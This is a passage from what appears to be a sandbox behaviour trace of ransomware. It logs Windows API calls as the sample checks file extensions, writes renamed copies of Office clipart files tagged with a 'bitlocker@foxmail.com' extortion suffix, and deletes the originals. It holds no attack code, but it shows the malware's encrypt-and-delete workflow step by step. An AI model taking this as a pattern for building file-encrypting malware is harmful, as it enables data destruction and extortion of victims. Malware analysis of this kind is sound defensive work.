Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0061.297] lstrlenW (lpString=".1cd") returned 4 [0061.297] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0061.297] lstrlenW (lpString=".jpg") returned 4 [0061.297] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.297] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0061.297] lstrlenW (lpString="AN04117_.WMF") returned 12 [0061.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0061.297] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=6060) returned 1 [0061.297] CloseHandle (hObject=0x164) returned 1 [0061.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf")) returned 0x20 [0061.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0061.298] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.298] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0061.298] GetLastError () returned 0x0 [0061.298] ReadFile (in: hFile=0x164, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x17ac, lpOverlapped=0x0) returned 1 [0061.300] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x17b0, lpOverlapped=0x0) returned 1 [0061.300] ReadFile (in: hFile=0x164, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.301] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.301] SetEndOfFile (hFile=0x214) returned 1 [0061.301] CloseHandle (hObject=0x214) returned 1 [0061.301] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.301] SetEndOfFile (hFile=0x164) returned 1 [0061.302] CloseHandle (hObject=0x164) returned 1 [0061.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.302] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf")) returned 1 [0061.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0061.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0061.302] lstrlenW (lpString=".doc") returned 4 [0061.302] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.302] lstrlenW (lpString=".docx") returned 5 [0061.302] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.302] lstrlenW (lpString=".pdf") returned 4 [0061.302] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.302] lstrlenW (lpString=".xls") returned 4 [0061.302] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.302] lstrlenW (lpString=".xlsx") returned 5 [0061.302] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.302] lstrlenW (lpString=".ppt") returned 4 [0061.302] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0061.302] lstrlenW (lpString=".zip") returned 4 [0061.302] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.302] lstrlenW (lpString=".rar") returned 4 [0061.302] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.302] lstrlenW (lpString=".bz2") returned 4 [0061.302] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.302] lstrlenW (lpString=".7z") returned 3 [0061.303] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0061.303] lstrlenW (lpString=".dbf") returned 4 [0061.303] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0061.303] lstrlenW (lpString=".1cd") returned 4 [0061.303] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0061.303] lstrlenW (lpString=".jpg") returned 4 [0061.303] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0061.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0061.303] lstrlenW (lpString=".doc") returned 4 [0061.303] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.303] lstrlenW (lpString=".docx") returned 5 [0061.303] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.303] lstrlenW (lpString=".pdf") returned 4 [0061.303] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.303] lstrlenW (lpString=".xls") returned 4 [0061.303] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.303] lstrlenW (lpString=".xlsx") returned 5 [0061.303] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.303] lstrlenW (lpString=".ppt") returned 4 [0061.303] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0061.303] lstrlenW (lpString=".zip") returned 4 [0061.303] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.303] lstrlenW (lpString=".rar") returned 4 [0061.303] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.303] lstrlenW (lpString=".bz2") returned 4 [0061.303] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.303] lstrlenW (lpString=".7z") returned 3 [0061.303] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0061.303] lstrlenW (lpString=".dbf") returned 4 [0061.303] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0061.304] lstrlenW (lpString=".1cd") returned 4 [0061.304] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0061.304] lstrlenW (lpString=".jpg") returned 4 [0061.304] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.304] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0061.304] lstrlenW (lpString="AN04134_.WMF") returned 12 [0061.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0061.304] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=3416) returned 1 [0061.304] CloseHandle (hObject=0x164) returned 1 [0061.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf")) returned 0x20 [0061.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0061.304] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.304] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0061.305] GetLastError () returned 0x0 [0061.305] ReadFile (in: hFile=0x164, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0xd58, lpOverlapped=0x0) returned 1 [0061.306] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xd60, lpOverlapped=0x0) returned 1 [0061.307] ReadFile (in: hFile=0x164, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.307] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.307] SetEndOfFile (hFile=0x214) returned 1 [0061.307] CloseHandle (hObject=0x214) returned 1 [0061.307] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.307] SetEndOfFile (hFile=0x164) returned 1 [0061.308] CloseHandle (hObject=0x164) returned 1 [0061.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.308] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf")) returned 1 [0061.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0061.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0061.308] lstrlenW (lpString=".doc") returned 4 [0061.308] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.308] lstrlenW (lpString=".docx") returned 5 [0061.309] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.309] lstrlenW (lpString=".pdf") returned 4 [0061.309] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.309] lstrlenW (lpString=".xls") returned 4 [0061.309] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.309] lstrlenW (lpString=".xlsx") returned 5 [0061.309] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.309] lstrlenW (lpString=".ppt") returned 4 [0061.309] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0061.309] lstrlenW (lpString=".zip") returned 4 [0061.309] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.309] lstrlenW (lpString=".rar") returned 4 [0061.309] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.309] lstrlenW (lpString=".bz2") returned 4 [0061.309] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.309] lstrlenW (lpString=".7z") returned 3 [0061.309] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0061.309] lstrlenW (lpString=".dbf") returned 4 [0061.309] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0061.309] lstrlenW (lpString=".1cd") returned 4 [0061.309] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0061.310] lstrlenW (lpString=".jpg") returned 4 [0061.310] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0061.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0061.310] lstrlenW (lpString=".doc") returned 4 [0061.310] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.310] lstrlenW (lpString=".docx") returned 5 [0061.310] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.310] lstrlenW (lpString=".pdf") returned 4 [0061.310] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.310] lstrlenW (lpString=".xls") returned 4 [0061.310] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.310] lstrlenW (lpString=".xlsx") returned 5 [0061.310] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.310] lstrlenW (lpString=".ppt") returned 4 [0061.310] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0061.310] lstrlenW (lpString=".zip") returned 4 [0061.310] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.310] lstrlenW (lpString=".rar") returned 4 [0061.310] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.310] lstrlenW (lpString=".bz2") returned 4 [0061.310] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.310] lstrlenW (lpString=".7z") returned 3 [0061.310] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0061.310] lstrlenW (lpString=".dbf") returned 4 [0061.310] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0061.310] lstrlenW (lpString=".1cd") returned 4 [0061.310] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0061.310] lstrlenW (lpString=".jpg") returned 4 [0061.310] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.311] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0061.311] lstrlenW (lpString="AN04174_.WMF") returned 12 [0061.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0061.311] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=2636) returned 1 [0061.312] CloseHandle (hObject=0x164) returned 1 [0061.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf")) returned 0x20 [0061.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0061.312] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.312] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0061.312] GetLastError () returned 0x0 [0061.312] ReadFile (in: hFile=0x164, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0xa4c, lpOverlapped=0x0) returned 1 [0061.585] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0061.586] ReadFile (in: hFile=0x164, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.586] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.586] SetEndOfFile (hFile=0x214) returned 1 [0061.586] CloseHandle (hObject=0x214) returned 1 [0061.587] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.587] SetEndOfFile (hFile=0x164) returned 1 [0061.587] CloseHandle (hObject=0x164) returned 1 [0061.587] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.588] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf")) returned 1 [0061.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0061.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0061.731] lstrlenW (lpString=".doc") returned 4 [0061.731] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.731] lstrlenW (lpString=".docx") returned 5 [0061.731] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.731] lstrlenW (lpString=".pdf") returned 4 [0061.731] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.731] lstrlenW (lpString=".xls") returned 4 [0061.731] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.731] lstrlenW (lpString=".xlsx") returned 5 [0061.731] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.731] lstrlenW (lpString=".ppt") returned 4 [0061.731] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0061.731] lstrlenW (lpString=".zip") returned 4 [0061.731] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.731] lstrlenW (lpString=".rar") returned 4 [0061.731] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.731] lstrlenW (lpString=".bz2") returned 4 [0061.731] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.731] lstrlenW (lpString=".7z") returned 3 [0061.731] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0061.731] lstrlenW (lpString=".dbf") returned 4 [0061.732] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0061.732] lstrlenW (lpString=".1cd") returned 4 [0061.732] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0061.732] lstrlenW (lpString=".jpg") returned 4 [0061.732] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0061.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0061.732] lstrlenW (lpString=".doc") returned 4 [0061.732] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.732] lstrlenW (lpString=".docx") returned 5 [0061.732] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.732] lstrlenW (lpString=".pdf") returned 4 [0061.732] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.732] lstrlenW (lpString=".xls") returned 4 [0061.732] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.732] lstrlenW (lpString=".xlsx") returned 5 [0061.732] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.732] lstrlenW (lpString=".ppt") returned 4 [0061.732] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0061.732] lstrlenW (lpString=".zip") returned 4 [0061.732] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.732] lstrlenW (lpString=".rar") returned 4 [0061.732] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.732] lstrlenW (lpString=".bz2") returned 4 [0061.732] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.732] lstrlenW (lpString=".7z") returned 3 [0061.732] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0061.732] lstrlenW (lpString=".dbf") returned 4 [0061.732] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0061.732] lstrlenW (lpString=".1cd") returned 4 [0061.733] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0061.733] lstrlenW (lpString=".jpg") returned 4 [0061.733] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.733] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0061.733] lstrlenW (lpString="AN04355_.WMF") returned 12 [0061.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 